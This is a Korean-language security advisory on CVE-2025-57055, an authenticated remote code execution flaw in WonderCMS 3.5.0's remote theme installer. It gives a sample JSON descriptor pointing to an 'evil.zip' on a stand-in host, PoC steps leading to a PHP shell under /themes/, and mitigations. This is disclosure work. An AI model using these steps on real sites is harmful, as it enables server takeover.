CVE-2025-57055: WonderCMS 3.5.0에서의 인증된 원격 코드 실행

취약점 작동 원리

인증된 원격 코드 실행(RCE) 취약점이 WonderCMS v3.5.0에 존재합니다.

문제는 애플리케이션이 JSON 설명자를 통해 원격 테마/모듈 설치를 처리하는 방식에서 발생합니다. 관리자가 ZIP 아카이브를 참조하는 원격 JSON 파일을 제출하면, 해당 내용이 웹에서 접근 가능한 디렉토리(예: /themes/)에 추출됩니다. ZIP에 PHP 파일이 포함된 경우, 해당 파일은 웹을 통해 접근 가능해지며 실행될 수 있습니다.

이 동작은 다음과 같은 이유로 RCE 위험을 초래합니다:

ZIP 내용에 대한 검증 또는 정제 부족.
원격 소스에서 추출된 파일 유형에 대한 제한 없음.
테마/플러그인 디렉토리의 웹 접근 가능성.

참고: 관리자 인증이 필요하지만, 기본 설치에서는 관리자 비밀번호가 공개적으로 노출되며(홈페이지에), 비밀번호 전용 로그인을 사용하고, 강력한 인증 제어를 적용하지 않습니다.

원격 모듈/테마 설명자의 수락 기준

WonderCMS는 제출된 JSON 설명자가 예상된 wcms-modules.json 형식과 일치하는 경우 원격 모듈/테마를 수락하고 설치를 시도합니다. 형식 확인을 통과한 설명자(ZIP 아카이브를 가리키는 경우)는 가져와져서 해당 아카이브 내용이 추가 파일 유형 검증 없이 웹 접근 가능 디렉토리(예: /themes/<name>/)에 추출됩니다.

예시 설명자 :

{
  "themes": {
    "SSRF": {
      "name": "FAKE",
      "repo": "https://example.com/",
      "zip": "https://example.com/evil.zip",
      "summary": "test",
      "version": "1.0.0",
      "image": "https://example.com/fake.png"
    }
  }
}

개념 증명(PoC)

경고: 프로덕션 시스템에서 실행하지 마십시오. 승인된 테스트 환경에서만 사용하세요.

기본 WonderCMS 설치의 공개적으로 노출된 홈페이지에서 관리자 비밀번호를 획득합니다.
관리자 패널에 로그인합니다.
테마 설치 섹션으로 이동합니다.
악성 JSON 설명자의 URL을 제공합니다(예: 공격자 제어 서버에 호스팅).
설치를 시작합니다. 서버는 다음을 수행합니다:
- 설명자를 가져옵니다.
- 지정된 ZIP 아카이브를 다운로드합니다.
다운로드된 악성 테마를 설치합니다.
추출된 PHP 셸(예: http://target.com/themes/<Theme_Name>/shell.php)에 접근하여 임의의 명령을 실행합니다.

(참고: 통제된 테스트 환경에서만 이 단계를 수행하십시오. 승인 없이 라이브 시스템에서 이 취약점을 악용하는 것은 불법입니다.)

공급업체 응답

취약점은 2025년 7월에 WonderCMS 유지관리자에게 보고되었습니다.
유지관리자는 보고를 인정했지만, 그들의 관점에서 이 동작은 관리자에게 허용 가능하다고 언급했습니다.

완화 지침

노출을 줄이기 위해:

원격 설치 기능을 신뢰할 수 있는 소스(예: GitHub 전용)로 제한합니다.
추출 전에 ZIP 내용을 검증 및 정제합니다.
인증 강화:
- 설치 후 관리자 비밀번호를 숨깁니다.
- 사용자 이름/비밀번호 로그인을 강제합니다.
- 다중 인증(가능한 경우)을 활성화합니다.
서버 구성을 통해 themes/ 또는 plugins/ 내의 실행 파일 접근을 차단합니다.

참조

고지 사항

이 정보는 방어적 보안 연구 및 교육 목적으로 제공됩니다. 취약점을 테스트하거나 공개하기 전에 항상 적절한 승인을 받으십시오.

CVE-2025-57055

인기